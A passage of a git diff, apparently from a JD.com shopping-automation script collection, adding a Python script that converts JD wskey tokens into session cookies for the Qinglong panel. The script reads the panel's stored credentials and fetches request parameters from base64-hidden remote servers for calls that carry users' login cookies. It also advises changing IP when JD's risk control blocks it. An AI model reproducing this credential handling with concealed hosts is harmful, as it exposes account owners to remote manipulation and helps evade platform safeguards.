!1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wskey.py b/jd_wskey.py new file mode 100644 index 0000000..e5ef778 --- /dev/null +++ b/jd_wskey.py @@ -0,0 +1,525 @@ +# -*- coding: utf-8 -* +''' +new Env('wskey转换'); +''' +import socket # 用于端口检测 +import base64 # 用于编解码 +import json # 用于Json解析 +import os # 用于导入系统变量 +import sys # 实现 sys.exit +import logging # 用于日志输出 +import time # 时间 +import re # 正则过率 + +if "WSKEY_DEBUG" in os.environ: # 判断调试模式变量 + logging.basicConfig(level=logging.DEBUG, format='%(message)s') # 设置日志为 Debug等级输出 + logger = logging.getLogger(__name__) # 主模块 + logger.debug("\nDEBUG模式开启!\n") # 消息输出 +else: # 判断分支 + logging.basicConfig(level=logging.INFO, format='%(message)s') # Info级日志 + logger = logging.getLogger(__name__) # 主模块 + +try: # 异常捕捉 + import requests # 导入HTTP模块 +except Exception as e: # 异常捕捉 + logger.info(str(e) + "\n缺少requests模块, 请执行命令:pip3 install requests\n") # 日志输出 + sys.exit(1) # 退出脚本 +os.environ['no_proxy'] = '*' # 禁用代理 +requests.packages.urllib3.disable_warnings() # 抑制错误 +try: # 异常捕捉 + from notify import send # 导入青龙消息通知模块 +except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("无推送文件") # 标准日志输出 + +ver = 20318 # 版本号 + + +# 登录青龙 返回值 token +def get_qltoken(username, password): # 方法 用于获取青龙 Token + logger.info("Token失效, 新登陆\n") # 日志输出 + url = "http://127.0.0.1:{0}/api/user/login".format(port) # 设置青龙地址 使用 format格式化自定义端口 + payload = { + 'username': username, + 'password': password + } # HTTP请求载荷 + payload = json.dumps(payload) # json格式化载荷 + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + } # HTTP请求头 设置为 Json格式 + try: # 异常捕捉 + res = requests.post(url=url, headers=headers, data=payload) # 使用 requests模块进行 HTTP POST请求 + token = json.loads(res.text)["data"]['token'] # 从 res.text 返回值中 取出 Token值 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # Debug日志输出 + logger.info("青龙登录失败, 请检查面板状态!") # 标准日志输出 + text = '青龙面板WSKEY转换登陆面板失败, 请检查面板状态.' # 设置推送内容 + try: # 异常捕捉 + send('WSKEY转换', text) # 消息发送 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # Debug日志输出 + logger.info("通知发送失败") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 无异常执行分支 + return token # 返回 token值 + + +# 返回值 Token +def ql_login(): # 方法 青龙登录(获取Token 功能同上) + path = '/ql/config/auth.json' # 设置青龙 auth文件地址 + if not os.path.isfile(path): + path = '/ql/data/config/auth.json' # 尝试设置青龙 auth 新版文件地址 + if os.path.isfile(path): # 进行文件真值判断 + with open(path, "r") as file: # 上下文管理 + auth = file.read() # 读取文件 + file.close() # 关闭文件 + auth = json.loads(auth) # 使用 json模块读取 + username = auth["username"] # 提取 username + password = auth["password"] # 提取 password + token = auth["token"] # 提取 authkey + if token == '': # 判断 Token是否为空 + return get_qltoken(username, password) # 调用方法 get_qltoken 传递 username & password + else: # 判断分支 + url = "http://127.0.0.1:{0}/api/user".format(port) # 设置URL请求地址 使用 Format格式化端口 + headers = { + 'Authorization': 'Bearer {0}'.format(token), + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38' + } # 设置用于 HTTP头 + res = requests.get(url=url, headers=headers) # 调用 request模块发送 get请求 + if res.status_code == 200: # 判断 HTTP返回状态码 + return token # 有效 返回 token + else: # 判断分支 + return get_qltoken(username, password) # 调用方法 get_qltoken 传递 username & password + else: # 判断分支 + logger.info("没有发现auth文件, 你这是青龙吗???") # 输出标准日志 + sys.exit(0) # 脚本退出 + + +# 返回值 list[wskey] +def get_wskey(): # 方法 获取 wskey值 [系统变量传递] + if "JD_WSCK" in os.environ: # 判断 JD_WSCK是否存在于环境变量 + wskey_list = os.environ['JD_WSCK'].split('&') # 读取系统变量 以 & 分割变量 + if len(wskey_list) > 0: # 判断 WSKEY 数量 大于 0 个 + return wskey_list # 返回 WSKEY [LIST] + else: # 判断分支 + logger.info("JD_WSCK变量未启用") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info("未添加JD_WSCK变量") # 标准日志输出 + sys.exit(0) # 脚本退出 + + +# 返回值 list[jd_cookie] +def get_ck(): # 方法 获取 JD_COOKIE值 [系统变量传递] + if "JD_COOKIE" in os.environ: # 判断 JD_COOKIE是否存在于环境变量 + ck_list = os.environ['JD_COOKIE'].split('&') # 读取系统变量 以 & 分割变量 + if len(ck_list) > 0: # 判断 WSKEY 数量 大于 0 个 + return ck_list # 返回 JD_COOKIE [LIST] + else: # 判断分支 + logger.info("JD_COOKIE变量未启用") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info("未添加JD_COOKIE变量") # 标准日志输出 + sys.exit(0) # 脚本退出 + + +# 返回值 bool +def check_ck(ck): # 方法 检查 Cookie有效性 使用变量传递 单次调用 + searchObj = re.search(r'pt_pin=([^;\s]+)', ck, re.M | re.I) # 正则检索 pt_pin + if searchObj: # 真值判断 + pin = searchObj.group(1) # 取值 + else: # 判断分支 + pin = ck.split(";")[1] # 取值 使用 ; 分割 + if "WSKEY_UPDATE_HOUR" in os.environ: # 判断 WSKEY_UPDATE_HOUR是否存在于环境变量 + updateHour = 23 # 更新间隔23小时 + if os.environ["WSKEY_UPDATE_HOUR"].isdigit(): # 检查是否为 DEC值 + updateHour = int(os.environ["WSKEY_UPDATE_HOUR"]) # 使用 int化数字 + nowTime = time.time() # 获取时间戳 赋值 + updatedAt = 0.0 # 赋值 + searchObj = re.search(r'__time=([^;\s]+)', ck, re.M | re.I) # 正则检索 [__time=] + if searchObj: # 真值判断 + updatedAt = float(searchObj.group(1)) # 取值 [float]类型 + if nowTime - updatedAt >= (updateHour * 60 * 60) - (10 * 60): # 判断时间操作 + logger.info(str(pin) + ";即将到期或已过期\n") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + remainingTime = (updateHour * 60 * 60) - (nowTime - updatedAt) # 时间运算操作 + hour = int(remainingTime / 60 / 60) # 时间运算操作 [int] + minute = int((remainingTime % 3600) / 60) # 时间运算操作 [int] + logger.info(str(pin) + ";未到期,{0}时{1}分后更新\n".format(hour, minute)) # 标准日志输出 + return True # 返回 Bool类型 True + elif "WSKEY_DISCHECK" in os.environ: # 判断分支 WSKEY_DISCHECK 是否存在于系统变量 + logger.info("不检查账号有效性\n--------------------\n") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' # 设置JD_API接口地址 + headers = { + 'Cookie': ck, + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'user-agent': ua + } # 设置 HTTP头 + try: # 异常捕捉 + res = requests.get(url=url, headers=headers, verify=False, timeout=10) # 进行 HTTP请求[GET] 超时 10秒 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("JD接口错误 请重试或者更换IP") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + if res.status_code == 200: # 判断 JD_API 接口是否为 200 [HTTP_OK] + code = int(json.loads(res.text)['retcode']) # 使用 Json模块对返回数据取值 int([retcode]) + if code == 0: # 判断 code值 + logger.info(str(pin) + ";状态正常\n") # 标准日志输出 + return True # 返回 Bool类型 True + else: # 判断分支 + logger.info(str(pin) + ";状态失效\n") + return False # 返回 Bool类型 False + else: # 判断分支 + logger.info("JD接口错误码: " + str(res.status_code)) # 标注日志输出 + return False # 返回 Bool类型 False + + +# 返回值 bool jd_ck +def getToken(wskey): # 方法 获取 Wskey转换使用的 Token 由 JD_API 返回 这里传递 wskey + try: # 异常捕捉 + url = str(base64.b64decode(url_t).decode()) + 'genToken' # 设置云端服务器地址 路由为 genToken + header = {"User-Agent": ua} # 设置 HTTP头 + params = requests.get(url=url, headers=header, verify=False, timeout=20).json() # 设置 HTTP请求参数 超时 20秒 Json解析 + except Exception as err: # 异常捕捉 + logger.info("Params参数获取失败") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + headers = { + 'cookie': wskey, + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'charset': 'UTF-8', + 'accept-encoding': 'br,gzip,deflate', + 'user-agent': ua + } # 设置 HTTP头 + url = 'https://api.m.jd.com/client.action' # 设置 URL地址 + data = 'body=%7B%22to%22%3A%22https%253a%252f%252fplogin.m.jd.com%252fjd-mlogin%252fstatic%252fhtml%252fappjmp_blank.html%22%7D&' # 设置 POST 载荷 + try: # 异常捕捉 + res = requests.post(url=url, params=params, headers=headers, data=data, verify=False, timeout=10) # HTTP请求 [POST] 超时 10秒 + res_json = json.loads(res.text) # Json模块 取值 + tokenKey = res_json['tokenKey'] # 取出TokenKey + except Exception as err: # 异常捕捉 + logger.info("JD_WSKEY接口抛出错误 尝试重试 更换IP") # 标准日志输出 + logger.info(str(err)) # 标注日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + return appjmp(wskey, tokenKey) # 传递 wskey, Tokenkey 执行方法 [appjmp] + + +# 返回值 bool jd_ck +def appjmp(wskey, tokenKey): # 方法 传递 wskey & tokenKey + wskey = "pt_" + str(wskey.split(";")[0]) # 变量组合 使用 ; 分割变量 拼接 pt_ + if tokenKey == 'xxx': # 判断 tokenKey返回值 + logger.info(str(wskey) + ";疑似IP风控等问题 默认为失效\n--------------------\n") # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + headers = { + 'User-Agent': ua, + 'accept': 'accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'x-requested-with': 'com.jingdong.app.mall' + } # 设置 HTTP头 + params = { + 'tokenKey': tokenKey, + 'to': 'https://plogin.m.jd.com/jd-mlogin/static/html/appjmp_blank.html' + } # 设置 HTTP_URL 参数 + url = 'https://un.m.jd.com/cgi-bin/app/appjmp' # 设置 URL地址 + try: # 异常捕捉 + res = requests.get(url=url, headers=headers, params=params, verify=False, allow_redirects=False, timeout=20) # HTTP请求 [GET] 阻止跳转 超时 20秒 + except Exception as err: # 异常捕捉 + logger.info("JD_appjmp 接口错误 请重试或者更换IP\n") # 标准日志输出 + logger.info(str(err)) # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + try: # 异常捕捉 + res_set = res.cookies.get_dict() # 从res cookie取出 + pt_key = 'pt_key=' + res_set['pt_key'] # 取值 [pt_key] + pt_pin = 'pt_pin=' + res_set['pt_pin'] # 取值 [pt_pin] + if "WSKEY_UPDATE_HOUR" in os.environ: # 判断是否在系统变量中启用 WSKEY_UPDATE_HOUR + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';__time=' + str(time.time()) + ';' # 拼接变量 + else: # 判断分支 + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';' # 拼接变量 + except Exception as err: # 异常捕捉 + logger.info("JD_appjmp提取Cookie错误 请重试或者更换IP\n") # 标准日志输出 + logger.info(str(err)) # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + if 'fake' in pt_key: # 判断 pt_key中 是否存在fake + logger.info(str(wskey) + ";WsKey状态失效\n") # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + logger.info(str(wskey) + ";WsKey状态正常\n") # 标准日志输出 + return True, jd_ck # 返回 -> True[Bool], jd_ck + + +def update(): # 方法 脚本更新模块 + up_ver = int(cloud_arg['update']) # 云端参数取值 [int] + if ver >= up_ver: # 判断版本号大小 + logger.info("当前脚本版本: " + str(ver)) # 标准日志输出 + logger.info("--------------------\n") # 标准日志输出 + else: # 判断分支 + logger.info("当前脚本版本: " + str(ver) + "新版本: " + str(up_ver)) # 标准日志输出 + logger.info("存在新版本, 请更新脚本后执行") # 标准日志输出 + logger.info("--------------------\n") # 标准日志输出 + text = '当前脚本版本: {0}新版本: {1}, 请更新脚本~!'.format(ver, up_ver) # 设置发送内容 + try: # 异常捕捉 + send('WSKEY转换', text) # 推送消息 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("通知发送失败") # 标准日志输出 + # sys.exit(0) # 退出脚本 [未启用] + + +def ql_check(port): # 方法 检查青龙端口 + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Socket模块初始化 + sock.settimeout(2) # 设置端口超时 + try: # 异常捕捉 + sock.connect(('127.0.0.1', port)) # 请求端口 + except Exception as err: # 捕捉异常 + logger.debug(str(err)) # 调试日志输出 + sock.close() # 端口关闭 + return False # 返回 -> False[Bool] + else: # 分支判断 + sock.close() # 关闭端口 + return True # 返回 -> True[Bool] + + +def serch_ck(pin): # 方法 搜索 Pin + for i in range(len(envlist)): # For循环 变量[envlist]的数量 + if "name" not in envlist[i] or envlist[i]["name"] != "JD_COOKIE": # 判断 envlist内容 + continue # 继续循环 + if pin in envlist[i]['value']: # 判断envlist取值['value'] + value = envlist[i]['value'] # 取值['value'] + id = envlist[i][ql_id] # 取值 [ql_id](变量) + logger.info(str(pin) + "检索成功\n") # 标准日志输出 + return True, value, id # 返回 -> True[Bool], value, id + else: # 判断分支 + continue # 继续循环 + logger.info(str(pin) + "检索失败\n") # 标准日志输出 + return False, 1 # 返回 -> False[Bool], 1 + + +def get_env(): # 方法 读取变量 + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + try: # 异常捕捉 + res = s.get(url) # HTTP请求 [GET] 使用 session + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("\n青龙环境接口错误") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + data = json.loads(res.text)['data'] # 使用Json模块提取值[data] + return data # 返回 -> data + + +def check_id(): # 方法 兼容青龙老版本与新版本 id & _id的问题 + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + try: # 异常捕捉 + res = s.get(url).json() # HTTP[GET] 请求 使用 session + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("\n青龙环境接口错误") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + if '_id' in res['data'][0]: # 判断 [_id] + logger.info("使用 _id 键值") # 标准日志输出 + return '_id' # 返回 -> '_id' + else: # 判断分支 + logger.info("使用 id 键值") # 标准日志输出 + return 'id' # 返回 -> 'id' + + +def ql_update(e_id, n_ck): # 方法 青龙更新变量 传递 id cookie + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + data = { + "name": "JD_COOKIE", + "value": n_ck, + ql_id: e_id + } # 设置 HTTP POST 载荷 + data = json.dumps(data) # json模块格式化 + s.put(url=url, data=data) # HTTP [PUT] 请求 使用 session + ql_enable(eid) # 调用方法 ql_enable 传递 eid + + +def ql_enable(e_id): # 方法 青龙变量启用 传递值 eid + url = 'http://127.0.0.1:{0}/api/envs/enable'.format(port) # 设置 URL地址 + data = '["{0}"]'.format(e_id) # 格式化 POST 载荷 + res = json.loads(s.put(url=url, data=data).text) # json模块读取 HTTP[PUT] 的返回值 + if res['code'] == 200: # 判断返回值为 200 + logger.info("\n账号启用\n--------------------\n") # 标准日志输出 + return True # 返回 ->True + else: # 判断分支 + logger.info("\n账号启用失败\n--------------------\n") # 标准日志输出 + return False # 返回 -> Fasle + + +def ql_disable(e_id): # 方法 青龙变量禁用 传递 eid + url = 'http://127.0.0.1:{0}/api/envs/disable'.format(port) # 设置 URL地址 + data = '["{0}"]'.format(e_id) # 格式化 POST 载荷 + res = json.loads(s.put(url=url, data=data).text) # json模块读取 HTTP[PUT] 的返回值 + if res['code'] == 200: # 判断返回值为 200 + logger.info("\n账号禁用成功\n--------------------\n") # 标准日志输出 + return True # 返回 ->True + else: # 判断分支 + logger.info("\n账号禁用失败\n--------------------\n") # 标准日志输出 + return False # 返回 -> Fasle + + +def ql_insert(i_ck): # 方法 插入新变量 + data = [{"value": i_ck, "name": "JD_COOKIE"}] # POST数据载荷组合 + data = json.dumps(data) # Json格式化数据 + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + s.post(url=url, data=data) # HTTP[POST]请求 使用session + logger.info("\n账号添加完成\n--------------------\n") # 标准日志输出 + + +def cloud_info(): # 方法 云端信息 + url = str(base64.b64decode(url_t).decode()) + 'check_api' # 设置 URL地址 路由 [check_api] + for i in range(3): # For循环 3次 + try: # 异常捕捉 + headers = {"authorization": "Bearer Shizuku"} # 设置 HTTP头 + res = requests.get(url=url, verify=False, headers=headers, timeout=20).text # HTTP[GET] 请求 超时 20秒 + except requests.exceptions.ConnectTimeout: # 异常捕捉 + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) # 标准日志输出 + time.sleep(1) # 休眠 1秒 + continue # 循环继续 + except requests.exceptions.ReadTimeout: # 异常捕捉 + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) # 标准日志输出 + time.sleep(1) # 休眠 1秒 + continue # 循环继续 + except Exception as err: # 异常捕捉 + logger.info("\n未知错误云端, 退出脚本!") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + sys.exit(1) # 脚本退出 + else: # 分支判断 + try: # 异常捕捉 + c_info = json.loads(res) # json读取参数 + except Exception as err: # 异常捕捉 + logger.info("云端参数解析失败") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + sys.exit(1) # 脚本退出 + else: # 分支判断 + return c_info # 返回 -> c_info + + +def check_cloud(): # 方法 云端地址检查 + url_list = ['aHR0cDovLzQzLjEzNS45MC4yMy8=', 'aHR0cHM6Ly9zaGl6dWt1Lm1sLw==', 'aHR0cHM6Ly9jZi5zaGl6dWt1Lm1sLw=='] # URL list Encode + for i in url_list: # for循环 url_list + url = str(base64.b64decode(i).decode()) # 设置 url地址 [str] + try: # 异常捕捉 + requests.get(url=url, verify=False, timeout=10) # HTTP[GET]请求 超时 10秒 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + continue # 循环继续 + else: # 分支判断 + info = ['Default', 'HTTPS', 'CloudFlare'] # 输出信息[List] + logger.info(str(info[url_list.index(i)]) + " Server Check OK\n--------------------\n") # 标准日志输出 + return i # 返回 ->i + logger.info("\n云端地址全部失效, 请检查网络!") # 标准日志输出 + try: # 异常捕捉 + send('WSKEY转换', '云端地址失效. 请联系作者或者检查网络.') # 推送消息 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("通知发送失败") # 标准日志输出 + sys.exit(1) # 脚本退出 + + +def check_port(): # 方法 检查变量传递端口 + logger.info("\n--------------------\n") # 标准日志输出 + if "QL_PORT" in os.environ: # 判断 系统变量是否存在[QL_PORT] + try: # 异常捕捉 + port = int(os.environ['QL_PORT']) # 取值 [int] + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("变量格式有问题...\n格式: export QL_PORT=\"端口号\"") # 标准日志输出 + logger.info("使用默认端口5700") # 标准日志输出 + return 5700 # 返回端口 5700 + else: # 判断分支 + port = 5700 # 默认5700端口 + if not ql_check(port): # 调用方法 [ql_check] 传递 [port] + logger.info(str(port) + "端口检查失败, 如果改过端口, 请在变量中声明端口 \n在config.sh中加入 export QL_PORT=\"端口号\"") # 标准日志输出 + logger.info("\n如果你很确定端口没错, 还是无法执行, 在GitHub给我发issus\n--------------------\n") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info(str(port) + "端口检查通过") # 标准日志输出 + return port # 返回->port + + +if __name__ == '__main__': # Python主函数执行入口 + port = check_port() # 调用方法 [check_port] 并赋值 [port] + token = ql_login() # 调用方法 [ql_login] 并赋值 [token] + s = requests.session() # 设置 request session方法 + s.headers.update({"authorization": "Bearer " + str(token)}) # 增加 HTTP头认证 + s.headers.update({"Content-Type": "application/json;charset=UTF-8"}) # 增加 HTTP头 json 类型 + ql_id = check_id() # 调用方法 [check_id] 并赋值 [ql_id] + url_t = check_cloud() # 调用方法 [check_cloud] 并赋值 [url_t] + cloud_arg = cloud_info() # 调用方法 [cloud_info] 并赋值 [cloud_arg] + update() # 调用方法 [update] + ua = cloud_arg['User-Agent'] # 设置全局变量 UA + wslist = get_wskey() # 调用方法 [get_wskey] 并赋值 [wslist] + envlist = get_env() # 调用方法 [get_env] 并赋值 [envlist] + if "WSKEY_SLEEP" in os.environ and str(os.environ["WSKEY_SLEEP"]).isdigit(): # 判断变量[WSKEY_SLEEP]是否为数字类型 + sleepTime = int(os.environ["WSKEY_SLEEP"]) # 获取变量 [int] + else: # 判断分支 + sleepTime = 10 # 默认休眠时间 10秒 + for ws in wslist: # wslist变量 for循环 [wslist -> ws] + wspin = ws.split(";")[0] # 变量分割 ; + if "pin" in wspin: # 判断 pin 是否存在于 [wspin] + wspin = "pt_" + wspin + ";" # 封闭变量 + return_serch = serch_ck(wspin) # 变量 pt_pin 搜索获取 key eid + if return_serch[0]: # bool: True 搜索到账号 + jck = str(return_serch[1]) # 拿到 JD_COOKIE + if not check_ck(jck): # bool: False 判定 JD_COOKIE 有效性 + tryCount = 1 # 重试次数 1次 + if "WSKEY_TRY_COUNT" in os.environ: # 判断 [WSKEY_TRY_COUNT] 是否存在于系统变量 + if os.environ["WSKEY_TRY_COUNT"].isdigit(): # 判断 [WSKEY_TRY_COUNT] 是否为数字 + tryCount = int(os.environ["WSKEY_TRY_COUNT"]) # 设置 [tryCount] int + for count in range(tryCount): # for循环 [tryCount] + count += 1 # 自增 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: # 判断 [return_ws]返回值 Bool类型 + break # 中断循环 + if count < tryCount: # 判断循环次 + logger.info("{0} 秒后重试,剩余次数:{1}\n".format(sleepTime, tryCount - count)) # 标准日志输出 + time.sleep(sleepTime) # 脚本休眠 使用变量 [sleepTime] + if return_ws[0]: # 判断 [return_ws]返回值 Bool类型 + nt_key = str(return_ws[1]) # 从 return_ws[1] 取出 -> nt_key + # logger.info("wskey转pt_key成功", nt_key) # 标准日志输出 [未启用] + logger.info("wskey转换成功") # 标准日志输出 + eid = return_serch[2] # 从 return_serch 拿到 eid + ql_update(eid, nt_key) # 函数 ql_update 参数 eid JD_COOKIE + else: # 判断分支 + if "WSKEY_AUTO_DISABLE" in os.environ: # 从系统变量中获取 WSKEY_AUTO_DISABLE + logger.info(str(wspin) + "账号失效") # 标准日志输出 + text = "账号: {0} WsKey疑似失效".format(wspin) # 设置推送内容 + else: # 判断分支 + eid = return_serch[2] # 读取 return_serch[2] -> eid + logger.info(str(wspin) + "账号禁用") # 标准日志输出 + ql_disable(eid) # 执行方法[ql_disable] 传递 eid + text = "账号: {0} WsKey疑似失效, 已禁用Cookie".format(wspin) # 设置推送内容 + try: # 异常捕捉 + send('WsKey转换脚本', text) # 推送消息 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("通知发送失败") # 标准日志输出 + else: # 判断分支 + logger.info(str(wspin) + "账号有效") # 标准日志输出 + eid = return_serch[2] # 读取 return_serch[2] -> eid + ql_enable(eid) # 执行方法[ql_enable] 传递 eid + logger.info("--------------------\n") # 标准日志输出 + else: # 判断分支 + logger.info("\n新wskey\n") # 标准日志分支 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: # 判断 (return_ws[0]) 类型: [Bool] + nt_key = str(return_ws[1]) # return_ws[1] -> nt_key + logger.info("wskey转换成功\n") # 标准日志输出 + ql_insert(nt_key) # 调用方法 [ql_insert] + logger.info("暂停{0}秒\n".format(sleepTime)) # 标准日志输出 + time.sleep(sleepTime) # 脚本休眠 + else: # 判断分支 + logger.info("WSKEY格式错误\n--------------------\n") # 标准日志输出 + logger.info("执行完成\n--------------------") # 标准日志输出 + sys.exit(0) # 脚本退出 + # Enjoy diff --git a/jd_wxCollectionActivity.js b/jd_wxCollectionActivity.js new file mode 100644 index 0000000..d475c21 --- /dev/null +++ b/jd_wxCollectionActivity.js @@ -0,0 +1,17 @@ +/* +https://lzkj-isv.isvjcloud.com/wxgame/activity/8530275?activityId= + +不能并发 + +ACTIVITY_ID + +JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 